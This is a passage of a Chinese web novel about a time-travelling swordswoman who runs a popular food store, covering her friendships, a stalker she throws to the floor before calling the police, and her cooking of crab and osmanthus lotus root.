“老板手艺是真好,感觉就没她不会做的东西,这是我吃过最正宗的麻辣小龙虾。” 顾客们吃着香喷喷的小龙虾,连点汤汁都舍不得浪费,吃完肉要把虾壳上肉都嘬干净才舍得放下,还有人更夸张,甚至会把虾壳咬碎才吐出来。 人有自制力,动物可没有,有跟着主人过来的大金毛见主人那么没用,连好吃的都抢不到,直接自己去蹭吃。 虽然一份小龙虾都不够顾客自己吃,但看到摇着尾巴口水都快下来的金毛,总有喜欢大狗狗的顾客会心软分它一只虾。 狗主人望着自家狗,如果不是不合适,他都想狗嘴夺食。 由于本身明清欢就是在顾客们的强烈要求下才开始晚上卖小龙虾,所以来吃虾的顾客们很是自觉,吃完都会把垃圾丢进垃圾桶,自己坐的桌椅送回店内。 正因为顾客们自觉,等他们吃完离开,明清欢和周瑶瑶只用简单收拾一下就好。 九点多,已经忙完的明清欢收到孙悦月她们发来的消息,抬头道:“要打游戏吗?悦月喊我们一起开黑。” “打打打,我现在就上线。”周瑶瑶说完立刻就登游戏。 很快四个人就一起进入游戏里组队,边打游戏边聊天。 “明欢欢,你最近是不是谈恋爱了?”一局游戏打到一半时,孙悦月想到什么突然问。 周瑶瑶直接疑惑地“嗯”了一 声,显然是搞不懂她为什么会这么说,毕竟她天天在明清欢身边都没发现什么恋爱苗头。 “没有。”明清欢控制着游戏角色收割对方两个人头,顺口否认。 “那我怎么在网上刷到个视频,你和一个男的相谈甚欢。” 孙悦月是昨天刷到视频,所以今天才忍不住喊她打游戏,好顺便八卦一下。 “什么男的?长什么样子?我怎么不知道?”周瑶瑶被勾起好奇心,发出三连问。 由于在游戏中不方便分享视频,孙悦月就直接用语言描述了一下。 “你说洛淮青?他只是店里老顾客而已。”明清欢听到她形容很快对上是谁。 “只是老顾客?瑶瑶,你知道店里老顾客的名字吗?” “啊?我不知道。” 周瑶瑶说完眼睛亮起来,闪烁着八卦的光芒转头:“老板,洛淮青是哪个老顾客?” 不等明清欢回答,她脑海中忽然浮现一个可能的对象,于是猜测道:“是不是经常在我们店里敲电脑的那个?” “是他。”明清欢没有否认。 见周瑶瑶知道那人是谁,孙悦月和李勤晴立刻追问起来,想知道明清欢是不是真有谈恋爱的苗头。 “老板,你什么时候跟他那么熟了?竟然知道他名字,还和他有话聊。” 眼见她们三个游戏都不认真打,一个劲追着自己八卦,尤其是周瑶瑶,恨不得把脸贴过来观察她表情,让明清欢有些无奈。 “他是作者。”明清欢直接曝光洛淮青身份。 “作者?作者怎么了?” 周瑶瑶没有立刻反应过来,直到明清欢强调了对方名字里的那个“洛”字,她脑海中忽然灵光一闪。 “啊啊啊——” “怎么了怎么了?” 听到她忽然叫起来,孙悦月和李勤晴不约而同关心起来。 周瑶瑶何止叫,她整个人差点没直接跳起来,只觉得世界上怎么会有这么巧合的事情。 “老板,你是说他是洛阳?我追的那本文的作者洛阳?” 在明清欢点头肯定后,周瑶瑶露出惊喜的表情,随即哈哈哈笑起来:“太好了,我可以当面催更了!” 她笑完,甚至问了明清欢一个魔鬼问题:“老板,他下次来买饭时,我可以让他先更个三章再卖给他吗?” 洛阳是男频特别有名的大神,像孙悦月、李勤晴这种不怎么看男频文的人都听说过,倒是很快反应过来周瑶瑶在兴奋什么。 不过听到她这话,孙悦月却是忍不住打趣:“瑶瑶你怕不是个假粉丝吧,遇到追文的作者第一反应竟然不是要签名,而是威胁人家更新。” “我这是牺牲小我,成全大我,为了广大读者的福利而努力!”周瑶瑶说完忽然想到另外一件事,“老板,几个月前他加更了一段时间,最近更是保持日更,该不会是因为你催更的原因吧?” “没有,我只是告诉他我有个朋友在追他的文。” 洛阳是个特别低调的网文大神,忽然发现自己身边竟然有这种大神,周瑶瑶她们三个注意力都转移到他作者的身份上,没人再提之前什么恋爱不恋爱的事。 就这么边聊天边打游戏,时间不知不觉流逝,还是明清欢最先发现并提醒:“快十一点了,下次再打吧。” “别啊,好不容易拿的连胜,再打两把。” 明清欢:“你们明天不上班吗?” “不上。” 孙悦月和李勤晴明天都放假,至于周瑶瑶,她每个月假期本身就休得少,明天想休息一天的话明清欢根本不会拒绝。 而对于明清欢来说,习武之人偶尔整晚不睡对她都没什么影响,见她们三个都想继续玩,便没有扫兴,而是继续陪她们一起。 不怪孙悦月她们喜欢拉明清欢打游戏,自从她熟悉这个游戏以后基本上把把带飞,连胜的感觉让她们根本停不下来。 又两把游戏结束,已经十一点多,祥云街上其他店铺基本都已经关门,只有路灯和侠客便利店还亮着。 就在明清欢放下手机准备收拾一下关门时,忽然有个年轻女生跑进店里来,表情有些慌张。 “老板,外面好像有人跟踪我。” 女生不是别人,是经常来店里吃饭的一位老顾客,叫林玫琪。 她和侠客便利店结缘还是因为当初爷爷临终前想吃香酥鸡,等到爷爷丧事结束,她特意拎着礼物来便利店向明清欢道谢。 再后来,为了能经常吃到侠客便利店的美食,她在附近租了房子,偶尔放假时能提前过来排队吃午餐。 今天她在公司加班加得有点晚,没想到回家路上会被人跟踪,她远远看到侠客便利店还亮着灯,第一反应就是跑进来求助。 祥云街属于老街,晚上十一点过后随着街两旁店铺都关门,整条街在零星的路灯照耀下显得有些过于安静。 这种氛围下,被人尾随还是挺吓人的,不过可能是明清欢在,周瑶瑶胆子还挺大,经常还走到门口观望,结果就发现有个男人正往这边走。 “你干嘛?”周瑶瑶大声道。 男人停下脚步往店内张望,发现只有三个女生后脸上露出个不太友善的笑继续往前走。 明清欢从到对方脸上表情中感受到恶意,在他走进店里时直接将人摔倒在地上。 “瑶瑶,报警。” 换做以前在大齐,明清欢只会江湖事江湖了,但在现代待久了,她已经学会有事找警察。 “老板你好帅!”周瑶瑶都没看清楚她刚刚是怎么动的手,对方就已经倒在地上,感叹完才拿手机报警。 至于站在店内的林玫琪,本来心怦怦跳个不停,现在却是瞬间跳得更快一些,不过之前跳得快是被吓的,现在却是被她给帅到。 第38章 第38章清蒸大闸蟹 林玫琪用星星眼望着明清欢,被跟踪产生的恐惧紧张已经插上小翅膀飞走,甚至还有胆子对着地上躺着的家伙来上一脚,以报刚刚被吓到的仇。 处理完突如其来的意外,等到明清欢和周瑶瑶关店上楼睡觉时已经很晚。 次日,周瑶瑶还在房间呼呼大睡,明清欢却是依旧早早起床,像平时一样准备好早餐。 她家早餐永远都卖得那么快,八点左右就全部卖光,而这个时间,就已经有个别人坐在店里在等午餐。 “哥们,你也是自由职业吗?还是咱们这种自由职业好啊,可以提前过来排队等着吃饭。” 有个做自媒体的青年坐在店里玩会手机后可能是有些无聊,转头找洛淮青搭话。 出于礼貌,洛淮青点头应了一声,对方顿时说得更加起劲。 “在这里又能吃到美食,还能拍到素材,简直一举两得,我可太喜欢这家店了……” 周瑶瑶打着哈欠下楼时就听到说话声,随意往说话方向扫过一眼就准备去厨房吃早餐,然而走出去两步后她忽然想起来什么,视线落在洛淮青身上。 “有事吗?”洛淮青察觉到她视线后转头。 别看周瑶瑶昨天晚上放话说什么要用让他加更才卖饭给他,实际上真让她那么干,她肯定不会好意思。 “没事,你们还挺早。”周瑶瑶没话找话说。 她话落,刚刚跟洛淮青说话的青年开口道:“没办法,谁让你家美食那么抢手,不早点来根本吃不上。” 周瑶瑶笑着点点头,余光又扫洛淮青一眼后就小跑进厨房,寻找明清欢给她留的 早餐。 明清欢耳力好,边处理食材边听见外面的声音,在她脚步声传进来时头也不抬地打趣:“你怎么不去催更?” “我跟他又不熟,要不老板你替我去催。”周瑶瑶说完忽然想起什么,拿出手机搜索起来,倒是没看到昨晚孙悦月说的那个视频,于是直接问,“老板,你之前跟他都聊什么?” 明清欢将里脊肉切好腌制上,顺口道:“他向我了解一些菜的做法,说是下本想写美食文。” “啊?从武侠到美食?这跨度有点大吧……他这本成绩那么好,不该继续写武侠吗?” “他之前的历史文、仙侠文不是写得都挺好。” 两个人闲聊间,周瑶瑶已经端起鸡丝凉面吃起来,那咸鲜爽口的味道,好吃到她还抽空夸了几句才继续聊。 吃完早餐,周瑶瑶边在厨房给她打下手,边时不时喊一声“老板”,声音那叫一个甜。 “有事你就直说,是想让我帮你催更?”明清欢处理完食材后顺手把米饭蒸上。 “他现在能保持日更就不错了,还是别催了,我想让你去帮我要个签名,当然,如果顺便催一下也行。” 在明清欢看来,她性格很开朗,平常跟谁都能聊起来,倒是没想到她遇见喜欢的作者会不好意思去要签名。 不过举手之劳的事,她自然不会拒绝,直接答应下来,惹得周瑶瑶高兴地欢呼,并一个劲夸她是世界上最好的老板。 帮忙把食材都处理好,接下来炒菜她帮不上忙,于是出去柜台后面坐着看店。 而厨房内,明清欢今天准备炖个山药排骨汤,排骨焯水去腥,加上她专门去挑选的佛手山药,炖出来的汤鲜而不腻,是最近特别受顾客们欢迎的一种汤品。 将汤先炖上,她开始炒菜,由于暑假来店内吃饭的孩子越来越多,在有些家长的请求下,她增加了胡萝卜在菜品中的出现频率。 据某些顾客所说,自家孩子在家怎么都不吃胡萝卜,但来店里却根本不挑食,只要是她做的菜都吃。 胡萝卜是个需要吃油才好吃的食材,把五花肉先煸炒出油,再将胡萝卜放进去一起炒,肉香混合胡萝卜的甜香,加上调味料的咸鲜气息,闻着就很能激发食欲。 厨房内一阵比一阵诱人的鲜味缓缓飘出去时,店内人已经越来越多。 有位妈妈牵着儿子进门时,先惊讶一瞬才带儿子加入排队行列中。 她是第一次来侠客便利店,还是被提醒才知道来吃饭要提前排队,本来还以为告诉她的人是在夸张,没想到店里生意真有那么好。 “好香呀!” 她儿子叫远远,三岁左右,不过小家伙脸蛋却没有婴儿肥,反而整个人看起来在同龄人中偏瘦。 远远妈妈认为他过于挑食,每天换花样做菜他都不爱吃,忍不住拍视频发到网上吐槽。 她本来以为视频发出去会得到大家的安慰,没想到评论区全部是在质疑她厨艺,问她有没有想过是自己做菜太难吃。 她坚持认为自己厨艺没问题,但评论区都让她带孩子去“肯某基医院”试试,她以不想孩子吃快餐为理由拒绝后,发现她ip地址在q市的人立刻开出另外一个药方“侠客便利店”。 “既然觉得香,那你待会可要多吃点,别再挑食了。”远远妈妈说是这么说,但她心里其实还是觉得跟自己厨艺无关,单纯就是儿子不爱吃饭。 她承认这家店的饭菜很香,但她感觉自己做的家常菜也没差太多,还是不认为带孩子出来他就会乖乖吃饭。 同样在排队的某位家长听到她的话,笑着开口道:“你是不是第一次带孩子过来吃饭?我跟你说,来这里吃饭绝对不用担心孩子挑食,我家儿子以前不吃胡萝卜,不吃香菇,一堆东西都不吃,但来这里后却是什么都爱吃,而且老板做的菜不光好吃,食材也新鲜,孩子吃着也放心,不知道能给我省多少事……” 看得出来这位是侠客便利店忠实老顾客,一夸起来就止不住话头。 远远妈妈听到菜干净卫生,食材新鲜地夸奖,觉得这点倒是很不错,她不愿意让孩子吃外食,就是总觉得外面做的没有家里干净。 很快饭菜全部出炉,随着明清欢和周瑶瑶轮流端着盆出来,排在前面的顾客一样样报菜名:“胡萝卜炒肉、凉拌毛豆、红烧鸡翅、菠萝咕咾肉、香菇炒油菜、山药排骨汤,哇塞,全都是我喜欢吃的。” “好香啊,尤其是菠萝咕咾肉,酸酸甜甜的闻着都特别开胃。” “老板做的菜真是看起来就很有食欲……” 明清欢含笑听着顾客们的夸赞之词,手上打饭菜的动作又快又准。 队伍中的大学生们看到她打菜的动作,眼睛都微微亮起来,恨不得将学校食堂的阿姨拉过来学习一下,让她们看看人家打菜从来不手抖。 随着拿到饭菜的顾客们欢欢喜喜去找位置坐,很快就轮到远远母子二人排到前面。 “要胡萝卜炒肉、红烧排骨、香菇炒油菜,一份山药排骨汤。” 远远妈妈之前只能闻见香味,此时近距离看到菜的卖相,倒是有些理解为什么评论区都推荐这家菜,看起来确实很不错。 店内此时人已经特别多,她端着饭菜好不容易才找到位置坐,坐好后就拿一次性碗分出点米饭放到儿子面前。 就在她习惯性想开口哄儿子吃饭时,没想到他竟然自己伸手抓了个红烧鸡翅,二话不说放到嘴边啃起来,让她都有点愣住。 鸡翅本来就是小孩子会喜欢的食物,更别说明清欢做的红烧鸡翅酱汁浓郁,表面带着层琥珀色油光,看起来比炸鸡翅还诱人。 皮滑肉嫩,酱香入味的红烧鸡翅很适合小朋友吃,他两只小手握着鸡翅,没多久就把上面肉全部啃下来,吃得脸颊都鼓起来。 “好吃吗?”远远妈妈还是第一次看到他吃东西那么香,惊讶过后下意识问。 远远听到妈妈的话,像小鸡啄米一样点头,点完头竟然又抓起个鸡翅在手里。 就他现在这副吃相,哪里看得出来他在家里是个不爱吃饭的饭渣宝宝。 远远妈妈看到他吃得那么香,试着喂了口饭到他嘴里,他也乖乖咀嚼着咽下肚子,而不是像在家里吃饭一样,总喜欢把饭菜含在嘴里半天不咽下去,看着能急死个人。 她看着儿子的吃相感觉好像真让评论区的人说中了,但还有点不愿意相信自己做饭那么难吃,于是握着筷子夹起一片胡萝卜塞进他嘴里。 以前在家时,胡萝卜就算喂进他嘴里也会被吐出来,但现在他竟然只是咀嚼停了一瞬,像是在判断好不好吃,然后两秒不到就继续咀嚼起来。 明清欢将胡萝卜那股土腥味全部炒掉,只保留食材清甜爽口的滋味,整体口感软中带着点脆,配上猪肉油脂香味,简直不要太美味。 远远小朋友鼓着脸颊咀嚼着咽下嘴里的饭菜,又低头啃了一口表皮带着微微焦香,内里软嫩多汁,轻轻一咬就脱骨的红烧鸡翅。 看得出来他是真喜欢吃,吃得脸上都沾上油不说,小嘴巴咀嚼频率更是特别快。 眼见儿子连胡萝卜都能接受,远远妈妈又试了下那道香菇炒油菜,结果小家伙依旧全部吃掉,既没有吐出来,也没有含在嘴里半天不咽。 难道我做的菜真有那么难吃? 远远妈妈望着儿子吃嘛嘛香的模样,再对比他在家啥也不爱吃的样子,有点被打击到。 其实她做的菜倒不至于说多难以下咽,只是她作为一个新手妈妈,做给儿子吃时太讲究营养,食材能煮和蒸就尽量不炒,调料更是放得少少的,孩子不爱吃那可太正常了。 等到她亲自品尝起桌子的菜后,发现鸡翅皮滑肉嫩,胡萝卜炒肉咸鲜微带着点胡萝卜本身的甜味,不论是胡萝卜还是肉都特别香,就连香菇炒油菜吃起来都格外爽口,被好吃到的同时终于承认,自己做的菜确实一般。 “这菜到底是怎么炒的……” 肉菜就算了,远远妈妈望着那盘色泽翠绿的香菇炒油菜,想不通为什么有人能把平平无奇的青菜炒得那么好吃,香菇软滑可口,青菜脆嫩清爽,那恰到好处的盐味让这道菜吃起来特别美味。 不过在发现儿子竟然主动握着勺子开始大口大口吃饭吃菜时,她心里到底还是高兴更多一些,同时还有点内疚。 远远妈妈不是那种错了还不愿意认的人,她直接拿手机对着儿子拍起来,不过拍完没立刻发出去,而是放下 手机吃起来。 不吃不觉得,一吃她就跟儿子一样,吃得根本停不下来,心里只剩满屏“怎么会这么好吃”的感叹。 等到吃完饭回家,趁着孩子午睡的时间她把视频放到了网上,评论区立刻有好多网友冒泡。 有网友发出哈哈哈的嘲笑,觉得果然是她做得太难吃,当然还有网友夸她好歹能认清错误,不像有些家长死鸭子嘴硬。 “哈哈哈哈,老板你看这个视频,笑死我了!” 可能是周瑶瑶本身就关注自家饭店,在大数据的推送下她竟然刷到远远妈妈发出来的视频,立刻跟明清欢分享。 明清欢看到评论区“孩子挑食老不好?去侠客便利店治治”这条评论时就忍不住微微扬起唇角,等看完远远小朋友在家吃饭和在自己店里吃饭那判若两人的模样,更是特别有成就感。 可能是前后对比太鲜明,视频底下评论真是特别热闹。 【果然,侠客便利店牌医院,孩子去了都说好。】 【五一时去了一回,它家菜是真好吃,别说小孩,我都吃得特别香,感觉它家厨师随便炒根草都是人间美味。】 【我家孩子也挑食不爱吃饭,胡萝卜、青菜、香菇全是不吃,说得我都有点想带她去试试,可惜我们家离q市有点远。】 【挑食和不爱吃饭还是有区别的,如果只是个别菜不吃很正常,如果是家里所有饭菜都不爱吃,建议趁着还是暑假去侠客便利店治一治。】 明清欢看完视频,余光注意到洛淮青还在店里坐着,想起答应周瑶瑶的事情,等到他没再敲电脑,而是拿起水边喝边休息时,抬脚走过去。 周瑶瑶猜到她可能是帮自己要签名,眼底瞬间透出几分期待,边握着手机继续刷视频评论区,边暗戳戳关注那边。 然而两分钟过去,三分钟过去,五分钟过去,他们俩还在聊,让她瞬间有些好奇起来。 好在又两分钟后,明清欢终于回到柜台这边,她立刻凑近小声问:“你们聊什么了?” “他说可以送你带签名的出版书。” 明清欢之所以和他多聊了一会,是在听到他说送书时客气了几句,表示不用那么麻烦,但他却表示每次出版时出版社都会送很多样书,堆在他家里也是落灰。 “真的吗?太好了!”周瑶瑶听到有签名书,高兴得差点没跳起来。 次日,洛淮青还真拿了亲签书籍过来,而且不是一本是一袋,甚至还包括书籍周边等东西。 明清欢没想到他会拿那么多东西过来,在他再三强调放在家里也没用的情况下,才代替周瑶瑶收下。 “我认识网站其他作者,如果想要其他签名我也可以帮忙。”洛淮青将东西送出去后还主动道。 “谢谢,目前我们都是在追你的文。” 人家那么客气,明清欢怎么会当着他的面要别人的签名。 洛淮青之前只知道她朋友在追自己的文,此时听到她说她也在看,眼中带着几分惊喜,立刻顺着这个话题聊起来。 他人在店里时周瑶瑶还带着点矜持,等他走后,立刻迫不及待在袋子里翻起来,看到有不少周边时更是惊喜地叫起来。 “哇,竟然还有这个……” 把每本书每个周边都翻完,周瑶瑶终于有心情说别的,不由转头望着自家老板。 “怎么了?”见她看着自己不说话,明清欢好笑地与她对视,想说她是不是高兴傻了。 周瑶瑶犹豫几秒,到底还是没憋住:“老板,我怎么感觉……他看你的眼神……”并不清白。 “你晚上想吃什么?”明清欢不想跟她探讨这种话题,直接询问起来。 说到吃,周瑶瑶注意力瞬间被转移开,直接举起手机道:“老板你看,朋友圈已经有人在卖螃蟹了,看起来好好吃的样子。” 现在才八月份,离真正吃螃蟹的时候还有一段时间,现在市面上卖的基本上六月黄,也就是还没完全长成熟的宝宝蟹,口感与肉质比不上成熟期大闸蟹,不过可以买来尝尝鲜。 见她馋了,明清欢并没有扫兴,而是直接带她去市场买了点螃蟹回来晚上蒸着吃。 其实她本来想做香辣蟹,但周瑶瑶说想吃清蒸的,她才没折腾香辣蟹。 明清欢蒸的螃蟹色香味无可挑剔,保留蟹本身鲜甜味的同时,去腥去得特别到位,但食材本身肉质较小这点,却不是她靠厨艺能够抹平。 不过周瑶瑶却是完全没觉得着有哪里不好,吃得根本停不下来,一个劲说这是她吃过最美味的清蒸大闸蟹。 “等再过段时间大闸蟹完全成熟,到时候口感更好。” 明清欢话落,周瑶瑶眼睛瞬间就亮起来,开始期待起来。 盼望着盼望着,秋风起,蟹脚痒,终于到大闸蟹大批上市的时候,由于周瑶瑶爱吃,明清欢第一时间就买了些大闸蟹回来。 之前洛淮青送那么多书,明清欢总觉得有些不好意思,于是在买到大闸蟹的当天邀请他一起吃饭。 洛淮青自然不会拒绝,甚至提前把当天晚上的更新码出来,好空出时间专心享受美食。 下午五点多,他主动提出帮忙被拒绝后,便坐在店中帮忙看店,时不时还陪跑到他面前来的八哥玩一会。 或许是他不像其他顾客一样总喜欢逗鸟玩,八哥还挺喜欢他,把他当大山一样在他身上跳来跳去。 厨房内。 有人在店里看着,周瑶瑶就直接跑进来给明清欢打下手。 “老板你真不热吗?” 明清欢身上穿着的是之前她们一起去买的那连海蓝色长裙,及膝的长裙配上中长袖,穿在明清欢身上好看是真好看,但周瑶瑶却看着就替她热。 “不热。” 明清欢头发用蓝色皮筋低低束在脑后,在身上带着几分复古风味的长裙映衬下,看起来倒是有几分她穿越前女侠客的影子。 周瑶瑶将洗好的菜送到她手边,见她站在灶台边被火烘着,脸上却是依旧干净清爽,连半滴汗都没出,发出羡慕的声音:“太羡慕你了,你竟然不怕热……” 二人闲聊说话间,螃蟹特有的香味从蒸锅里飘出来,那股蟹鲜味,闻着就令人口水直流。 洛淮青作为一个作者,联想能力很强,闻到如此诱人的蟹鲜味脑海中就浮现一只黄灿灿的大闸蟹,喉咙不自觉滚动起来。 好在没让他等太久,很快明清欢和周瑶瑶就端着饭菜走出来。 作为客人,明清欢自然不会让他帮忙,但洛淮青还是在去厨房洗手时帮忙端了米饭出来。 大闸蟹性寒凉,最好配着黄酒一起吃,不过由于周瑶瑶喝不来黄酒,所以明清欢还打了米酒出来。 三人落座后,明清欢看向洛淮青:“你要喝黄酒还是米酒?” 江湖中人很少有不会喝酒的,她平常不怎么喝,但在吃大闸蟹时不介意来上几杯黄酒。 见她喝黄酒,洛淮青便表示也要黄酒。 周瑶瑶看到他们都喝黄酒,抿了口甜中带着微微酸的米酒后道:“黄酒有什么好喝的,还是米酒好喝。” 跟米酒比起来,黄酒味道就要复杂得多,能品出酸、甜、苦、辣、鲜、涩六种基本味道,其中的辣、苦、涩是周瑶瑶完全接受不了的。 明清欢笑着抿了口黄酒,随即招呼他们趁热吃螃蟹。 “个头好大啊!而且老板你蒸得特别完美,既没有漏黄也没有断脚,真该让我家里人跟你 学学怎么蒸螃蟹。“周瑶瑶拿起一只大闸蟹在手上,还没吃就忍不住开始夸。 黄灿灿的大闸蟹几乎闻不到什么腥味,只留浓郁蟹鲜香,惹得她说完就忍不住先掰下根蟹腿塞进嘴里将肉咬出来先解解馋。 第39章 第39章桂花糖藕 螃蟹的腿肉紧实弹牙,浓郁的蟹鲜味好吃到周瑶瑶心里直冒泡泡,简直不要太愉悦。 第一根蟹腿她直接吃掉,第二根终于想起来沾蟹醋,雪白的蟹肉被醋汁染上微微褐色,酸香为蟹腿肉去腥增鲜,吃起来味道更加有层次感。 “好好吃啊!果然秋天就是吃大闸蟹的好日子!” 光是蟹腿肉就让周瑶瑶发出如此感叹,等到她将蟹盖掀开,露出里面金红色凝脂的蟹黄时,嘴巴里不自觉开始分泌口水。 她没忍住直接一口咬下去,那绵密种带着微微沙感在舌尖化开,极致的鲜味中带着淡淡甘甜,简直是人间美味。 她旁边,洛淮青同样已经掀开遮盖吃掉蟹黄,这个月份的大闸蟹蟹黄很饱满,但吃完却让人感觉根本不够。 好在除了蟹黄外,蟹身肉同样好吃,淋上微微蟹醋再咬上去,入口先尝到醋酸香,然后就是蟹肉细嫩回甘的滋味。 比起他们,明清欢动作就要慢得多,她慢悠悠端着酒杯轻抿着黄酒,细细品着酒中百味,直到周瑶瑶一个大闸蟹快吃完时才拿起只蟹放到自己面前。 “哇,老板你好厉害!” 用不来工具,直接将大闸蟹啃得乱七八糟的周瑶瑶余光发现她竟然能光用手就剥出完整的蟹腿肉,眼睛都不自觉睁大。 以前她从来没佩服过什么人,自从来到侠客便利店后,她只想感叹世界上怎么会有如此完美的人,她感觉自家老板好像什么都会,只要她想,什么事都能做好。 周瑶瑶夸完,学着她动作捏起蟹腿来,明明看她跟剥瓜子一样轻松捏开蟹壳取出蟹腿肉,但真学起来时,却是手都捏疼了也捏不开。 明清欢好笑地看着她跟蟹腿较劲,然后教她还是用掰断蟹腿,用下面蟹腿把肉顶出来的方法。 大闸蟹吃起来费手又费嘴,刚开始周瑶瑶还会说几句话,不过很快整个餐桌就安静下来,大家都专注吃着自己手里的大闸蟹。 明清欢已经记不清去年这个时候自己具体在哪里,在干什么,但她确定自己肯定没有闲情逸致像现在一样,和三两好友闻着桂花香,慢悠悠吃着螃蟹喝着黄酒。 她余光扫向桌上另外两个人,觉得他们能充当“三两好友”,至于桂花香,祥云街上有棵老桂花树,每当起风时,整条街上都能闻见桂花香。 真好啊…… 明清欢端起酒杯微微举起,本意是想敬一杯自己曾经所在的世界,以及在那个世界认识的人,告诉他们自己现在过得很好。 然而洛淮青许是误会她的意思,看到她抬杯立刻放下手中螃蟹改端起酒杯与她相碰。 明清欢眼底先是微讶,随即闪过一丝笑意。 “你们碰杯竟然不带我!”周瑶瑶说完端起装米酒的酒碗,一副她也要参与的架势,还为敬酒找了个理由,“敬秋天的第一顿大闸蟹。” 明清欢闻言轻笑一声:“你忘记上次吃的六月黄了?”这可不是她们秋天的第一顿螃蟹。 “那就敬老板,感谢你做出来如此美味的大闸蟹。”周瑶瑶完全不尴尬,直接换个理由。 酒杯与酒碗相碰发出清脆的声音,三人脸上都不自觉露出笑容。 “米酒虽然比之前的多了点酸味,但还是好好喝。”周瑶瑶喝口米酒后“哈”了一声,想到有这么好的酒,这么好的大闸蟹吃,觉得自己简直是世界上最幸福的人。 他们三个吃得是爽了,香味飘出去却是能馋死一群路人,好在明清欢又不是什么很坏的老板,没两天就开始在店内卖大闸蟹。 “太好吃了!同样是蒸螃蟹,为什么便利店里的就那么好吃呢?” “火候把握得太好了,去腥去得也到位,调的蟹醋更是好……” “蟹黄太好吃了!我爱吃螃蟹。” 顾客们买到便利店出品的清蒸大闸蟹后,即便再挑剔的嘴巴都挑不出毛病。 不,非要说的话还是有个毛病,就是明清欢每天卖的大闸蟹太少,根本不够顾客们吃。 “老板,你调的蟹醋能卖点给我吗?” 由于在她家吃螃蟹吃得不过瘾,有顾客想买点蟹醋回去自己蒸螃蟹吃。 当然还有顾客则是直接拎着螃蟹过来,想出加工费让明清欢帮忙蒸。 明清欢已经在顾客群中分享了蒸螃蟹小诀窍,见还有顾客找上门请她帮忙蒸,不由询问起来。 “我在家按照你教的试过了,但蒸出来的就是不好吃,我家那两个孩子嘴挑,不吃我蒸的。” 眼见顾客苦苦请求,明清欢只能答应帮忙蒸蟹。 开了这个头后接下来就有好多顾客想出加工费请她帮忙蒸,明清欢为了不将每天空余时间都花在代蒸螃蟹上,只能喊周瑶瑶帮忙拍了个特别详细的蒸大闸蟹视频教程分享出去。 秋天本来就是吃螃蟹的好时节,她拍的视频由于教的很细致,发出去后很快就变成最近的热门视频。 【没想到蒸螃蟹还能放紫苏叶,不过按照这个方法蒸出来的螃蟹确实既不腥又好吃[图片]】 【博主教得真好,我终于学会蒸螃蟹了!】 【博主蒸出来的螃蟹真漂亮,看得我口水都要流下来了,发出想吃的声音。】 【请问为什么我蒸出来的螃蟹总是断腿?】 厨艺可能也需要一点点天赋,并不是所有人都看视频就学会,明清欢在评论区看到有人跟着学都做出一言难尽的蒸螃蟹时,看着返图陷入沉默。 于是接下来空闲时间,她会顺手回复一下网友们的疑问,甚至从最开始的蒸螃蟹延伸到其他菜色上。 * “老板,你看!” 新的一天,晚饭后天气没那么热时,周瑶瑶追着八哥跑到附近玩去,回来时手里握着捧桂花送到明清欢面前:“你闻,是不是特别香?” “你怎么跑去去摘桂花了。”明清欢语气带着点笑意。 “花花,花花~”跟着一起回来的八哥落到她肩膀上。 明清欢偏头看着它道:“桂花。” “花,桂花~” 刚来店时的小八哥已经长成大八哥,而已现在会说的话越来越多,甚至还会唱些简单的歌。 在明清欢教它桂花怎么说时,周瑶瑶闻着手里的桂花香道:“我没摘,是那边有人在打桂花,说是要拿回去做桂花糖藕,我顺手捡了点。” 她说完望着明清欢,发出嘿嘿的笑声。 明清欢看到她那个小表情就什么都懂了:“你想吃桂花糖藕?” “嗯嗯。”周瑶瑶连连点头,随即还补充,“我只听说过桂花糖藕,还从来没吃过。” 见她说得那么可怜,明清欢第二天就采购了桂花和莲藕回来。 桂花糖藕属于带着江南风味的甜点,比起正餐,它更适合作为下午茶。 正因为如此,明清欢午后时间在厨房里开始做这道让周瑶瑶期待得不行的美食。 “竟然还要用到糯米?我还以为桂花糖藕就是桂花和藕。” 周瑶瑶看到准备的食材里还有糯米,显得有点小惊讶。 “这样口感会更丰富。” 糯米早就提前泡好,此时明清欢将莲藕去皮洗干净,切开莲藕一端的“盖子”放到旁边备用,随即开始往莲藕中填糯米。 周瑶瑶觉得这个活她也能干,于是拿着根筷子往莲藕洞洞里塞糯米。 “糯米煮熟会膨胀,所以不要塞太满。”明清欢开口提醒。 “好。” 莲藕里塞完八分满的糯米,明清欢将刚刚切下来的“盖子”盖回去用牙签固定,接下来就可以开始煮。 水没过莲藕,依次往里面加入冰糖、红糖、红枣,大火煮沸腾后开始小火慢炖。 看得出来周瑶瑶确实很期待桂花糖藕这道美食,直接搬着椅子坐在厨房里等。 “好香啊……” 小火慢炖中,开始有香味从锅里飘出来,那股带着甜味的藕香闻起来特别 清爽。 等到终于明清欢将锅盖给掀开时,原本粉白的莲藕已经被红糖染成琥珀色,同时一股带着莲藕与微微枣香的甜味扑鼻而来,光是闻着就让人感觉很甜蜜。 而等她将莲藕捞出来开始切片时,随着刀落下去,内里糯米的香味泄露出来,为藕香更添一股糯米的清香。 藕片在盘子里摆好,接下来只差最后一步,那就是熬糖浆。将煮藕糖水留一部分在锅中,撒入干桂花熬成糖浆,再淋在切好的藕片上,整道桂花糖藕就完成了。 琥珀色的莲藕和里面白色糯米颜色形成对比,配上表面那层桂花糖浆,卖相看起来带着满满的秋天气息,让人特别香来上一口。 “看起来好漂亮~” 周瑶瑶边说边掏出手机拍照,拍完才拿起筷子吃起来,藕片刚送到嘴边,买股桂花与红糖交织的甜香,以及莲藕和糯米的清香扑鼻而来,诱惑得她直接大口咬上去。 入口先尝到糖浆的甜味,以及桂花特有的香气在口腔中弥漫,咀嚼间藕的绵密和糯米的黏软弹牙相结合,配上糖浆的甜蜜,吃起来简直暖了胃,甜了心。 “好好吃啊!有干桂花的微苦中和,糖浆不会太甜,粉糯的莲藕和软黏的糯米搭配在一起,味道太好了!” 其实周瑶瑶以前更爱吃脆藕,比如明清欢平常经常做的干煸藕丝,那外焦里脆的口感简直好吃到她心坎里去。 但今天吃着桂花糖藕,她忽然觉得粉藕同样很美味,尤其是带着桂花香,简直吃得让她忍不住陶醉起来。 夏日的荷花凋谢过后,淤泥中留下了对秋天的馈赠,一条条鲜藕从泥中被挖出来,配上秋天盛开的桂花做成一盘桂花糖藕,光是想想就觉得幸福,更别说周瑶瑶能直接吃上。 看到她吃得那么香,明清欢握着筷子夹起片品尝起来,发现今天这藕是真不错,粉粉糯糯,做成桂花糖藕正合适。 品尝完两块藕片,她想到应该还在店内码字的洛淮青,顺手端起一份送出去。 